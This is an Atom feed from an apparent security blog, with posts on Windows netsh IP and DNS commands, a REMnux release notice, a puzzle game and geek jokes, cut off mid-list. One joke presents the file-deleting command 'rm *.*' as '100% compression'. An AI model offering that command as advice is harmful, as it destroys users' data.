<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-27246961</id><updated>2012-01-26T16:36:30.037+08:00</updated><category term='marathon'/><category term='tools'/><category term='Risk Management'/><category term='AES'/><category term='books'/><category term='vulnerability'/><category term='malware'/><category term='hash'/><category term='uTorrent'/><category term='Cisco'/><category term='Apple'/><category term='SpyOnWeb'/><category term='Skype'/><category term='wpa2'/><category term='picasa'/><category term='VPN'/><category term='OWASP'/><category term='powershell'/><category term='exploitation'/><category term='Dell'/><category term='Unity'/><category term='SSL/TLS'/><category term='BIOS'/><category term='GMail'/><category term='IBM'/><category term='PacMan'/><category term='easter egg'/><category term='visualization'/><category term='attack'/><category term='OpenVAS'/><category term='MSN'/><category term='mitm'/><category term='wifi'/><category term='Tenable Nessus'/><category term='robtex'/><category term='metasploit'/><category term='wireshark'/><category term='IIS'/><category term='USB'/><category term='Counter Intelligence'/><category term='packet generator'/><category term='WebM'/><category term='tcp/ip'/><category term='msie'/><category term='Hostmap'/><category term='iPhone'/><category term='dns'/><category term='fuzzer'/><category term='worm'/><category term='governance'/><category term='GTalk'/><category term='hijack'/><category term='error'/><category term='pentest'/><category term='Intel'/><category term='GHDB'/><category term='compiler'/><category term='MBR'/><category term='Excel'/><category term='NTFS'/><category term='virtualization'/><category term='msdn'/><category term='tcpdump'/><category term='0day'/><category term='debugger'/><category term='30seconds'/><category term='GREM'/><category term='Oracle'/><category term='InfoSec Mag'/><category term='TCP Timestamp'/><category term='airport'/><category term='Arduino'/><category term='opensource'/><category term='ip-over-dns'/><category term='W2K3'/><category term='G+'/><category term='JSON'/><category term='learning'/><category term='Facebook'/><category term='router'/><category term='cloud computing'/><category term='scapy'/><category term='issue'/><category term='distributed computing'/><category term='Google'/><category term='myemail'/><category term='IT framework'/><category term='Bing'/><category term='Google Chrome'/><category term='wireless'/><category term='unix'/><category term='sniffer'/><category term='cmdline'/><category term='googledorks'/><category term='ism'/><category term='compliance'/><category term='DoS'/><category term='Ubuntu'/><category term='md5'/><category term='webapp'/><category term='ipv6'/><category term='mobile'/><category term='REM'/><category term='activeX'/><category term='breaches'/><category term='defaultpassword'/><category term='W2K'/><category term='evasion'/><category term='MI5'/><category term='storage'/><category term='SELinux'/><category term='DEFCON'/><category term='smb2'/><category term='GnackTrack'/><category term='software security'/><category term='firefox'/><category term='servicepack'/><category term='Flash'/><category term='tips'/><category term='infosec'/><category term='SIEM'/><category term='sqlinjection'/><category term='CVSS'/><category term='NaCl'/><category term='sysadm'/><category term='Nexus S'/><category term='hsbb'/><category term='steganography'/><category term='Network Solutions'/><category term='Google Reader'/><category term='WebSocket'/><category term='vmware'/><category term='tracking'/><category term='keynote'/><category term='SANS'/><category term='smartphone'/><category term='game'/><category term='rootkit'/><category term='hacker'/><category term='APT'/><category term='icmp'/><category term='forensic'/><category term='parking meter'/><category term='UAC'/><category term='BH09'/><category term='BSOD'/><category term='XSS'/><category term='vista'/><category term='makeuseof'/><category term='articles'/><category term='Angry Birds'/><category term='Twitter'/><category term='proxy'/><category term='XSRF'/><category term='syncookies'/><category term='javascript'/><category term='analyzer'/><category term='XP'/><category term='Intellectual Property'/><category term='WebP'/><category term='bootkit'/><category term='AJAX'/><category term='crack'/><category term='conference'/><category term='Hotmail'/><category term='http'/><category term='Live.com'/><category term='MAC'/><category term='spoofing'/><category term='SEM'/><category term='python'/><category term='HITB09'/><category term='script'/><category term='AHCI'/><category term='ip-over-icmp'/><category term='patching'/><category term='404'/><category term='Android'/><category term='HTML5'/><category term='database'/><category term='linux'/><category term='crash'/><category term='SDLC'/><category term='iso27000'/><category term='reconnaissance'/><category term='Bossa Vino'/><category term='office'/><category term='bt4'/><category term='programming'/><category term='enumeration'/><category term='YouTube'/><category term='audit'/><category term='PCI DSS'/><category term='Java'/><category term='Web 2.0'/><category term='ascii'/><category term='BIND 9'/><category term='antivirus'/><category term='Sucuri'/><category term='motd'/><category term='bt5'/><category term='W2K8'/><category term='tunnel'/><category term='history'/><category term='microsoft'/><category term='joke'/><category term='unifi'/><category term='tun0'/><category term='pstools'/><category term='IR'/><category term='1liner'/><category term='metadata'/><category term='W7'/><category term='BitLocker'/><title type='text'>MySEQ</title><subtitle type='html'>InfoSec 2.0  ::  IT.Security :: Risk.Management :: Information.Security.Management :: REM :: Mobile</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://myseq.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default?start-index=101&amp;max-results=100'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>429</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-27246961.post-8153059937514323013</id><published>2012-01-26T16:35:00.000+08:00</published><updated>2012-01-26T16:36:30.051+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='W7'/><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><title type='text'>Change IP Address and DNS settings</title><content type='html'>I've shown how to add &lt;a href="http://myseq.blogspot.com/2011/02/multiple-ip-addresses-with-windows-os.html"&gt;multiple IP addresses&lt;/a&gt; in Windows 7 before. Today, let's go back to basic.&lt;br /&gt;&lt;br /&gt;Set a static IP address on NIC:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;netsh interface ip set address name=”Local Area Connection” static 192.168.1.100 255.255.255.0 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Set to DHCP:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;netsh interface ip set address name=”Local Area Connection” source=dhcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Set the primary DNS and secondary DNS settings:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;netsh interface ip set dns name=”Local Area Connection” static 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;netsh interface ip add dns name=”Local Area Connection” 8.8.8.8 index=2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Set the DNS setting to DHCP:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;netsh interface ip set dnsservers name=”Local Area Connection” source=dhcp&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8153059937514323013?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8153059937514323013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8153059937514323013'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2012/01/change-ip-address-and-dns-settings.html' title='Change IP Address and DNS settings'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6058064655823485539</id><published>2011-12-23T21:18:00.000+08:00</published><updated>2012-01-12T21:23:32.829+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>REMnux 3.0 is Ready</title><content type='html'>&lt;br /&gt;REMnux is a lightweight Linux distribution for assisting malware&amp;nbsp;analysts in reverse-engineering malicious software. This is&amp;nbsp;version 3.0 of the REMnux distribution.&lt;br /&gt;&lt;br /&gt;To learn about REMnux and for tips on getting started,&amp;nbsp;please visit http://REMnux.org.&lt;br /&gt;&lt;br /&gt;There are 2 versions available for download at&amp;nbsp;&lt;a href="http://sourceforge.net/projects/remnux/files/version3/"&gt;http://sourceforge.net/projects/remnux/files/version3/&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Live CD ISO (830MB)&lt;/li&gt;&lt;li&gt;VMware virtual appliance (717MB)&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;You can refer to&amp;nbsp;&lt;a href="http://zeltser.com/remnux/"&gt;http://zeltser.com/remnux/&lt;/a&gt;&amp;nbsp;for the list of malware analysis tool set in REMnux.&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6058064655823485539?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6058064655823485539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6058064655823485539'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/12/remnux-30-is-ready.html' title='REMnux 3.0 is Ready'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5891553546760344251</id><published>2011-12-21T13:29:00.003+08:00</published><updated>2011-12-21T13:30:16.946+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Petals Around the Rose</title><content type='html'>Today I just become a &lt;b&gt;Potentate of the Rose&lt;/b&gt;. You should give the game a try at &lt;a href="http://www.borrett.id.au/computing/petals-j.htm"&gt;Lloyd Borrett - Computing - Play the Petals Around the Rose game (JavaScript)&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;P/s: &lt;a href="http://www.borrett.id.au/computing/petals-bg.htm"&gt;Bill Gate&lt;/a&gt; was introduced to this game in 1977.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5891553546760344251?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5891553546760344251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5891553546760344251'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/12/petals-around-rose.html' title='Petals Around the Rose'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3738670298280076062</id><published>2011-12-15T10:42:00.001+08:00</published><updated>2011-12-15T10:42:59.427+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joke'/><title type='text'>An Engineer Vs A Manager</title><content type='html'>&lt;br /&gt;A man is flying in a hot air balloon and realizes he is lost.&lt;br /&gt;&lt;br /&gt;He reduces&amp;nbsp;height and spots a man down below.&amp;nbsp;He lowers the balloon further and shouts,"Excuse me, can you help me? I promised my friend I would meet him half an&lt;br /&gt;hour ago, but I don't know where I am."&lt;br /&gt;&lt;br /&gt;The man below says, "Yes. You are in a hot air balloon, hovering&amp;nbsp;approximately 30 feet above this field. You are between 40 and 42 degrees&amp;nbsp;North latitude, and between 58 and 60 degrees West longitude."&lt;br /&gt;&lt;br /&gt;"You must be an engineer," says the balloonist.&lt;br /&gt;&lt;br /&gt;"I am," replies the man. "How did you know?"&lt;br /&gt;&lt;br /&gt;"Well," says the balloonist, "everything you have told me is technically&amp;nbsp;correct, but I have no idea what to make of your information, and the fact&amp;nbsp;is I am still lost."&lt;br /&gt;&lt;br /&gt;The man below says, "You must be a manager?"&lt;br /&gt;&lt;br /&gt;"I am," replies the balloonist, "but how did you know?"&lt;br /&gt;&lt;br /&gt;"Well," says the man, "You don't know where you are, or where you are going.&amp;nbsp;You have made a promise which you have no idea how to keep, and you expect&amp;nbsp;me to solve your problem. The fact is you are in the exact same position you&amp;nbsp;were in before we met, but now it is somehow my fault."&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3738670298280076062?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3738670298280076062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3738670298280076062'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/12/engineer-vs-manager.html' title='An Engineer Vs A Manager'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3717089797547965774</id><published>2011-11-26T20:39:00.001+08:00</published><updated>2011-11-26T20:40:30.313+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='error'/><title type='text'>Books.com.tw Maintenance</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-sNW-7Z5G3rU/TtDd7IIOIjI/AAAAAAAAACE/VjN-fRXMjUA/s1600/books.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="225" src="http://4.bp.blogspot.com/-sNW-7Z5G3rU/TtDd7IIOIjI/AAAAAAAAACE/VjN-fRXMjUA/s400/books.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span style="font-size: small; text-align: -webkit-auto;"&gt;博客來 maintenance&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3717089797547965774?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3717089797547965774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3717089797547965774'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/bookscomtw-maintenance.html' title='Books.com.tw Maintenance'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-sNW-7Z5G3rU/TtDd7IIOIjI/AAAAAAAAACE/VjN-fRXMjUA/s72-c/books.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4740121371798845148</id><published>2011-11-24T21:04:00.001+08:00</published><updated>2011-11-24T21:16:20.347+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joke'/><title type='text'>Geek Jokes</title><content type='html'>Just found a page of 1-liner geek joke at&amp;nbsp;&lt;a href="http://www.kailashnadh.name/docs/geek_jokes/"&gt;http://www.kailashnadh.name/docs/geek_jokes/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Those with underline are what I like most!&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;u&gt;There are 10 types of people in the world: those who understand binary, and those who don't&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;If at first you don't succeed; call it version 1.0&lt;/u&gt;&lt;/li&gt;&lt;li&gt;I'm not anti-social; I'm just not user friendly&lt;/li&gt;&lt;li&gt;My software never has bugs. It just develops random features&lt;/li&gt;&lt;li&gt;Roses are #FF0000 , Violets are #0000FF , All my base belongs to you&lt;/li&gt;&lt;li&gt;In a world without fences and walls, who needs Gates and Windows?&lt;/li&gt;&lt;li&gt;Hand over the calculator, friends don't let friends derive drunk&lt;/li&gt;&lt;li&gt;I would love to change the world, but they won't give me the source code&lt;/li&gt;&lt;li&gt;&lt;u&gt;Enter any 11-digit prime number to continue...&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;The box said 'Requires Windows 95 or better'. So I installed LINUX&lt;/u&gt;&lt;/li&gt;&lt;li&gt;A penny saved is 1.39 cents earned, if you consider income tax&lt;/li&gt;&lt;li&gt;Unix, DOS and Windows...the good, the bad and the ugly&lt;/li&gt;&lt;li&gt;&lt;u&gt;A computer lets you make more mistakes faster than any invention in human history - with the possible exceptions of handguns and tequila&lt;/u&gt;&lt;/li&gt;&lt;li&gt;The code that is the hardest to debug is the code that you know cannot possibly be wrong&lt;/li&gt;&lt;li&gt;UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity&lt;/li&gt;&lt;li&gt;Ethernet (n): something used to catch the etherbunny&lt;/li&gt;&lt;li&gt;C://dos&lt;/li&gt;&lt;/ul&gt;&lt;blockquote class="tr_bq"&gt;C://dos.run&lt;br /&gt;run.dos.run&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;You know it's love when you memorize her IP number to skip DNS overhead&lt;/li&gt;&lt;li&gt;JUST SHUT UP AND REBOOT!!&lt;/li&gt;&lt;li&gt;1f u c4n r34d th1s u r34lly n33d t0 g37 l41d&lt;/li&gt;&lt;li&gt;Alcohol &amp;amp; calculus don't mix. Never drink &amp;amp; derive&lt;/li&gt;&lt;li&gt;How do I set a laser printer to stun?&lt;/li&gt;&lt;li&gt;There is only one satisfying way to boot a computer&lt;/li&gt;&lt;li&gt;Concept: On the keyboard of life, always keep one finger on the escape button&lt;/li&gt;&lt;li&gt;It's not bogus, it's an IBM standard&lt;/li&gt;&lt;li&gt;Be nice to the nerds, for all you know they might be the next Bill Gates!&lt;/li&gt;&lt;li&gt;The farther south you go, the more dollar stores there are&lt;/li&gt;&lt;li&gt;Beware of programmers that carry screwdrivers&lt;/li&gt;&lt;li&gt;The difference between e-mail and regular mail is that computers handle e-mail, and computers never decide to come to work one day and shoot all the other computers&lt;/li&gt;&lt;li&gt;If you want a language that tries to lock up all the sharp objects and fire-making implements, use Pascal or Ada: the Nerf languages, harmless fun for children of all ages, and they won't mar the furniture&lt;/li&gt;&lt;li&gt;COFFEE.EXE Missing - Insert Cup and Press Any Key&lt;/li&gt;&lt;li&gt;Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning&lt;/li&gt;&lt;li&gt;LISP = Lots of Irritating Silly Parentheses&lt;/li&gt;&lt;li&gt;The beginning of the programmer's wisdom is understanding the difference between getting program to run and having a runnable program&lt;/li&gt;&lt;li&gt;Squash one bug, you'll see ten new bugs popping&lt;/li&gt;&lt;li&gt;Everytime i time i touch my code, i give birth to ten new bugs&lt;/li&gt;&lt;li&gt;boast = blogging is open &amp;amp; amiable sharing of thoughts&lt;/li&gt;&lt;li&gt;We are sorry, but the number you have dialed is imaginary. Please rotate your phone 90 degrees and try again&lt;/li&gt;&lt;li&gt;Cannot find REALITY.SYS. Universe halted&lt;/li&gt;&lt;li&gt;If it weren't for C, we'd all be programming in BASI and OBO&lt;/li&gt;&lt;li&gt;Bad command or file name! Go stand in the corner&lt;/li&gt;&lt;li&gt;Bad or corrupt header, go get a haircut&lt;/li&gt;&lt;li&gt;Unrecognized input, get out of the class&lt;/li&gt;&lt;li&gt;Warning! Buffer overflow, close the tumbler !&lt;/li&gt;&lt;li&gt;WinErr 547: LPT1 not found... Use backup... PENCIL &amp;amp; PAPER&lt;/li&gt;&lt;li&gt;Bad or missing mouse driver. Spank the cat? (Y/N)&lt;/li&gt;&lt;li&gt;&lt;u&gt;Computers make very fast, very accurate mistakes&lt;/u&gt;&lt;/li&gt;&lt;li&gt;Best file compression around: "rm *.*" = 100% compression&lt;/li&gt;&lt;li&gt;Hackers in hollywood movies are phenomenal. All they need to do is "c:\&amp;gt; hack into fbi"&lt;/li&gt;&lt;li&gt;BREAKFAST.COM Halted...Cereal Port Not Responding&lt;/li&gt;&lt;li&gt;I survived an NT installation&lt;/li&gt;&lt;li&gt;The name is Baud......James Baud&lt;/li&gt;&lt;li&gt;My new car runs at 56Kbps&lt;/li&gt;&lt;li&gt;Why doesn't DOS ever say "EXCELLENT command or filename!"&lt;/li&gt;&lt;li&gt;File not found. Should I fake it? (Y/N)&lt;/li&gt;&lt;li&gt;Cannot read data, leech the next boy's paper? (Y/N)&lt;/li&gt;&lt;li&gt;CONGRESS.SYS Corrupted: Re-boot Washington D.C (Y/n)?&lt;/li&gt;&lt;li&gt;Does fuzzy logic tickle?&lt;/li&gt;&lt;li&gt;Helpdesk : Sir, you need to add 10GB space to your HD , Customer : Could you please tell where I can download that?&lt;/li&gt;&lt;li&gt;Windows: Just another pane in the glass&lt;/li&gt;&lt;li&gt;Who's General Failure &amp;amp; why's he reading my disk?&lt;/li&gt;&lt;li&gt;RAM disk is not an installation procedure&lt;/li&gt;&lt;li&gt;Shell to DOS...Come in DOS, do you copy? Shell to DOS...&lt;/li&gt;&lt;li&gt;The truth is out there...anybody got the URL?&lt;/li&gt;&lt;li&gt;Smash forehead on keyboard to continue.....&lt;/li&gt;&lt;li&gt;E-mail returned to sender -- insufficient voltage&lt;/li&gt;&lt;li&gt;Help! I'm modeming... and I can't hang up!!!&lt;/li&gt;&lt;li&gt;All wiyht. Rho sritched mg kegtops awound?&lt;/li&gt;&lt;li&gt;&lt;u&gt;Once I got this error on my Linux box: Error. Keyboard not attached. Press F1 to continue&lt;/u&gt;&lt;/li&gt;&lt;li&gt;Once I got this error on my Linux box: Error. Mouse not attached. Please left click the 'OK' button to continue&lt;/li&gt;&lt;li&gt;Press any key to continue or any other key to quit...&lt;/li&gt;&lt;li&gt;Press every key to continue&lt;/li&gt;&lt;li&gt;Helpdesk: Sir if you see the blue screen, press any key to continue. Customer : hm.. just a min.. where's that 'any key'..&lt;/li&gt;&lt;li&gt;Idiot, Go ahead, make my data!&lt;/li&gt;&lt;li&gt;Old programmers never die; they just give up their resources&lt;/li&gt;&lt;li&gt;To err is human - and to blame it on a computer is even more so&lt;/li&gt;&lt;li&gt;(001) Logical Error CLINTON.SYS: Truth table missing&lt;/li&gt;&lt;li&gt;Clinton:/&amp;gt; READ | PARSE | WRITE | DUMP &amp;gt;&amp;gt; MONKIA.SYS&lt;/li&gt;&lt;li&gt;(D)inner not ready: (A)bort (R)etry (P)izza&lt;/li&gt;&lt;li&gt;Computers can never replace human stupidity&lt;/li&gt;&lt;li&gt;&lt;u&gt;A typical Yahoo! inbox : Inbox(0), Junk(9855210)&lt;/u&gt;&lt;/li&gt;&lt;li&gt;(A)bort, (R)etry, (P)anic?&lt;/li&gt;&lt;li&gt;Bugs come in through open Windows&lt;/li&gt;&lt;li&gt;Penguins love cold, they wont survive the sun&lt;/li&gt;&lt;li&gt;Unix is user friendly...its just selective about who its friends are&lt;/li&gt;&lt;li&gt;Artificial intelligence usually beats real stupidity&lt;/li&gt;&lt;li&gt;Bell Labs Unix -- Reach out and grep someone.&lt;/li&gt;&lt;li&gt;To err is human...to really foul up requires the root password.&lt;/li&gt;&lt;li&gt;Invalid password : Please enter the correct password to (Abort / Retry / Ignore )&lt;/li&gt;&lt;li&gt;FUBAR - where Geeks go for a drink&lt;/li&gt;&lt;li&gt;I degaussed my girlfriend and I'm just not attracted to her anymore&lt;/li&gt;&lt;li&gt;Scandisk : Found 2 bad sectors. Please enter a new HD to continue scanning&lt;/li&gt;&lt;li&gt;Black holes are where God divided by zero&lt;/li&gt;&lt;li&gt;Hey! It compiles! Ship it!&lt;/li&gt;&lt;li&gt;Thank god, my baby just compiled&lt;/li&gt;&lt;li&gt;Yes! My code compiled, and my wife just produced the output&lt;/li&gt;&lt;li&gt;Windows 98 supports real multitasking - it can boot and crash simultaneously&lt;/li&gt;&lt;li&gt;Zap! And there was the blue screen !&lt;/li&gt;&lt;li&gt;&lt;u&gt;Please send all spam to my main address, root@localhost :-)&lt;/u&gt;&lt;/li&gt;&lt;li&gt;MailerD(a)emon: You just received 9133547 spam. (O)pen all, (R)ead one by one, (C)heck for more spam&lt;/li&gt;&lt;li&gt;A: Can you teach me how to use a computer? B: No. I just fix the machines, I don't use them&lt;/li&gt;&lt;li&gt;PayPal: Your funds have been frozen for 668974 days&lt;/li&gt;&lt;li&gt;&lt;u&gt;1-800-404 : The subscriber you are trying to call does not exist&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;1-800-403 : Access to that subscriber was denied&lt;/u&gt;&lt;/li&gt;&lt;li&gt;Error message: "Out of paper on drive D:"&lt;/li&gt;&lt;li&gt;If I wanted a warm fuzzy feeling, I'd antialias my graphics!&lt;/li&gt;&lt;li&gt;A printer consists of three main parts: the case, the jammed paper tray and the blinking red light&lt;/li&gt;&lt;li&gt;"Mr. Worf, scan that ship." "Aye Captain. 300 dpi?"&lt;/li&gt;&lt;li&gt;Smith &amp;amp; Wesson: The Original Point And Click Interface&lt;/li&gt;&lt;li&gt;Shout onto a newsgroup : It echoes back flames and spam&lt;/li&gt;&lt;li&gt;Firewall : Intruder detected. (A)llow in (D)eactivate the firewall&lt;/li&gt;&lt;li&gt;Real programmers can write assembly code in any language&lt;/li&gt;&lt;li&gt;Warning! Perl script detected! (K)ill it , (D)eactivate it&lt;/li&gt;&lt;li&gt;Firewall : Do you want to place a motion detector on port 80 ?&lt;/li&gt;&lt;li&gt;Helpdesk: Sir, please refill your ink catridges Customer : Where can i download that?&lt;/li&gt;&lt;li&gt;&lt;u&gt;All computers run at the same speed... with the power off&lt;/u&gt;&lt;/li&gt;&lt;li&gt;You have successfully logged in, Now press any key to log out&lt;/li&gt;&lt;li&gt;Sorry, the password you tried is already being used by Dorthy, please try something else.&lt;/li&gt;&lt;li&gt;Sorry, that username already exists. (O)verwrite it (C)ancel&lt;/li&gt;&lt;li&gt;Please send all flames, trolls, and complaints to /dev/toilet&lt;/li&gt;&lt;li&gt;Shut up, or i'll flush you out&lt;/li&gt;&lt;li&gt;Cron : Enter cron command \ Now enter the number of minutes in an hour&lt;/li&gt;&lt;li&gt;We are experiencing system trouble -- do not adjust your terminal&lt;/li&gt;&lt;li&gt;You have successfully hacked in, Welcome to the FBI mainframes.&lt;/li&gt;&lt;li&gt;I'm sorry, our software is perfect. The problem must be you&lt;/li&gt;&lt;li&gt;Never underestimate the bandwidth of a station wagon full of tapes hurling down the highway&lt;/li&gt;&lt;li&gt;Webhost livehelp: Sir you ran out of bandwidth, User: Where can I download that?&lt;/li&gt;&lt;li&gt;If Ruby is not and Perl is the answer, you don't understand the question&lt;/li&gt;&lt;li&gt;Having soundcards is nice... having embedded sound in web pages is not&lt;/li&gt;&lt;li&gt;My computer was full, so I deleted everything on the right half&lt;/li&gt;&lt;li&gt;You have received a new mail which is 195537 hours old&lt;/li&gt;&lt;li&gt;Yahoo! Mail: Your email was sent successfully. The email will delivered in 4 days and 8 hours&lt;/li&gt;&lt;li&gt;I'm sorry for the double slash (Tim Berners-Lee in a Panel Discussion, WWW7, Brisbane, 1998)&lt;/li&gt;&lt;li&gt;Ah, young webmaster... java leads to shockwave. Shockwave leads to realaudio. And realaudio leads to suffering&lt;/li&gt;&lt;li&gt;What color do you want that database?&lt;/li&gt;&lt;li&gt;C++ is a write-only language. I can write programs in C++, but I can't read any of them&lt;/li&gt;&lt;li&gt;As of next week, passwords will be entered in Morse code&lt;/li&gt;&lt;li&gt;earth is 98% full ... please delete anyone you can&lt;/li&gt;&lt;li&gt;A typical yahoo chat room: "A has signed in, A has signed out, B has signed in, B has signed out, C has signed in, C has signed out.."&lt;/li&gt;&lt;li&gt;When someone says "I want a programming language in which I need only say what I wish done," give him a lollipop&lt;/li&gt;&lt;li&gt;Warning! No processor found! Press any key to continue&lt;/li&gt;&lt;li&gt;Failure is not an option. It comes bundled with your Microsoft product&lt;/li&gt;&lt;li&gt;NT is the only OS that has caused me to beat a piece of hardware to death with my bare hands&lt;/li&gt;&lt;li&gt;Warning! Kernel crashed, Run for your lives !&lt;/li&gt;&lt;li&gt;NASA uses Windows? Oh great. If Apollo 13 went off course today the manual would just tell them to open the airlock, flush the astronauts out, and re-install new one&lt;/li&gt;&lt;li&gt;JavaScript: An authorizing language designed to make Netscape crash&lt;/li&gt;&lt;li&gt;How's my programming? Call 